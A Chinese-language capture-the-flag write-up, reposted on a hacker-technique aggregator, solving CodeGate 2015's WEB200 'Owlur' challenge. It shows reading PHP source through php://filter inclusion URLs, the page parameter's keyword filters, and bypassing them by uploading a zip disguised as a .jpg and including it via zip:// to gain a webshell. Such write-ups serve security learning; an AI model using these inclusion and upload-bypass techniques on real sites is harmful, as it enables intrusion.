记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

CodeGate2015 CTF - WEB200

2015-03-15 20:35

CodeGate2015 CTF - WEB200

15 Mar 2015 - evi1m0

Owlur - WEB200

Description

http://54.65.205.135/owlur/

if you use a web scanner, your IP will get banned, no bruteforce required, take it easy.

Desc

File upload success (.jpg): http://54.65.205.135/owlur/index.php?page=view&id=q9DLZgl

view-source: http://54.65.205.135/owl/duzYZc5.jpg

LFI

我们猜测 page 参数可包含文件,但当我们想要包含刚刚上传的恶意图片时,却发现 page 过滤了 http, ..关键字,导致我们无法跳到/owl/目录下进行文件包含。比如我们这样做:

页面就会返回给我们:

                 / /****-- * *\
//(((:<<<</:*********3\X*\((<
/XX/CXC&CGG//**/--///X*V\**..g&
(/VCC3gg0........*//X//(///V*C\*..888gg8g&3C<
(3&gG&...........*..XXX/(((/*.\*.......G/08883X<`
/(<C8 ...........*.XXXX////</..*...............3C^
V/<^<(X88&V//((<<<<((<^<**...............X&&C
`:/CCV/(((<<(/VVV/*..............(/C&/
<< ^^(/V33VX/VC&X*VC....:<<~<<<((X `
V/(/< ^ ^^:/X/((<<^^---V:~~<<(
3& .^-/
C /\ /\ |
/C \/ \/ //
PLZ STOP 3 |\
HACKING C /5*
V /-----\ /
CG | | <///<
VGV | | ^(/X<^
&&< \-----/ .((<(^
83( .<(~`<<
8X` .<<^` `((^
B@@C<.`^^` ^(CG&C(<.``
CG8B$@@@@@@@@@$( ^^(0@@@@$83X<`
B@@@@@@@@@@@@@@@@@8/ `<C$@@@@@@@@@@$&<
@@@@@@@@@@@@@@@$$$@@@$$0888B@@@@@@@@@@@@@@@@@V`

Please stop hacking :(

但是我们可以通过这种方式来尝试读取 index.php, view.php, upload.php的源代码:

  • http://54.65.205.135/owlur/index.php?page=php://filter/read=convert.base64-encode/resource=view
源码分析

http://ww3.sinaimg.cn/large/c334041bgw1eq6huu93caj20nn05i74h.jpg

➜  /tmp  echo -n "PD9waHAKJHBpYyA9ICRfUkVRVUVTVFsnaWQnXTsKCmlmKCRwaWMgPT0gIiIgfHwgJHBpYyA9PSAicmFuZG9tIikKewokcGljbmFtZSA9ICJwcmVsb2FkZWQtb3dscy8iIC4gcmFuZCgxLDE0KSAuICIuanBnIjsKfQoKZWxzZSAkcGljbmFtZSA9ICIvb3dsLyIgLiAkcGljIC4gIi5qcGciOwoKCgplY2hvICc8aW1nIHNyYz0iJyAuICRwaWNuYW1lIC4gJyI+JzsKCj8+Cg==" | base64 -D
<?php
$pic = $_REQUEST['id'];
if($pic == "" || $pic == "random")
{
$picname = "preloaded-owls/" . rand(1,14) . ".jpg";
}
else $picname = "/owl/" . $pic . ".jpg";
echo '<img src="' . $picname . '">';
?>
Upload.php (部分)

http://54.65.205.135/owlur/index.php?page=php://filter/read=convert.base64-encode/resource=upload

$target_dir = "/var/www/owlur/owlur-upload-zzzzzz/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid . ".jpg";

这里有个有趣的变量 $target_dir,长时候发现图片在 /owl/ 目录及 /owlur/owlur-upload-zzzzzz/ 目录均可访问,所以我们可以不用考虑 .. 的跨路径问题了;)

index.php (部分)
if(strstr($p,"..") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"http") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"ftp") !== FALSE)
die("<pre>$haq</pre>");

if(strlen($p) >= 60)
die("<pre>string > 60
$haq</pre>");

这里可以发现对 page 参数进行了三个关键字的过滤,以及长度的过滤,通过上面发现的 /owlur-upload-zzzzzz/ 路径我们可直接绕过长度的限制,但是现在又面临另外一个问题,截断。

使用 %00, ////////////////////////////////, ....................... 等截断方法均失败,最后试了下 zip 协议截断终于成功:

  1. 新建 test.php 里面编写 php 代码;
  2. 将 test.php 压缩为 test.zip 后把 zip 的名字改成 test.jpg;
  3. 上传 .jpg 上传,然后包含;

http://ww1.sinaimg.cn/large/c334041bgw1eq6im8fhpkj20kt06y0u4.jpg

phpinfo: http://54.65.205.135/owlur/index.php?page=zip://owlur-upload-zzzzzz/ITbmhwn.jpg%23test

http://ww2.sinaimg.cn/large/c334041bgw1eq6iqq1zgaj20kw08mmy6.jpg

最后我们连接 webshell 后,发现 flag 静静的躺在根目录下:

http://ww3.sinaimg.cn/large/c334041bgw1eq6irjcxrwj20m2056t95.jpg

知识来源: linux.im/2015/03/15/codegate2015-web-200.html

阅读:251158 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“CodeGate2015 CTF - WEB200”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云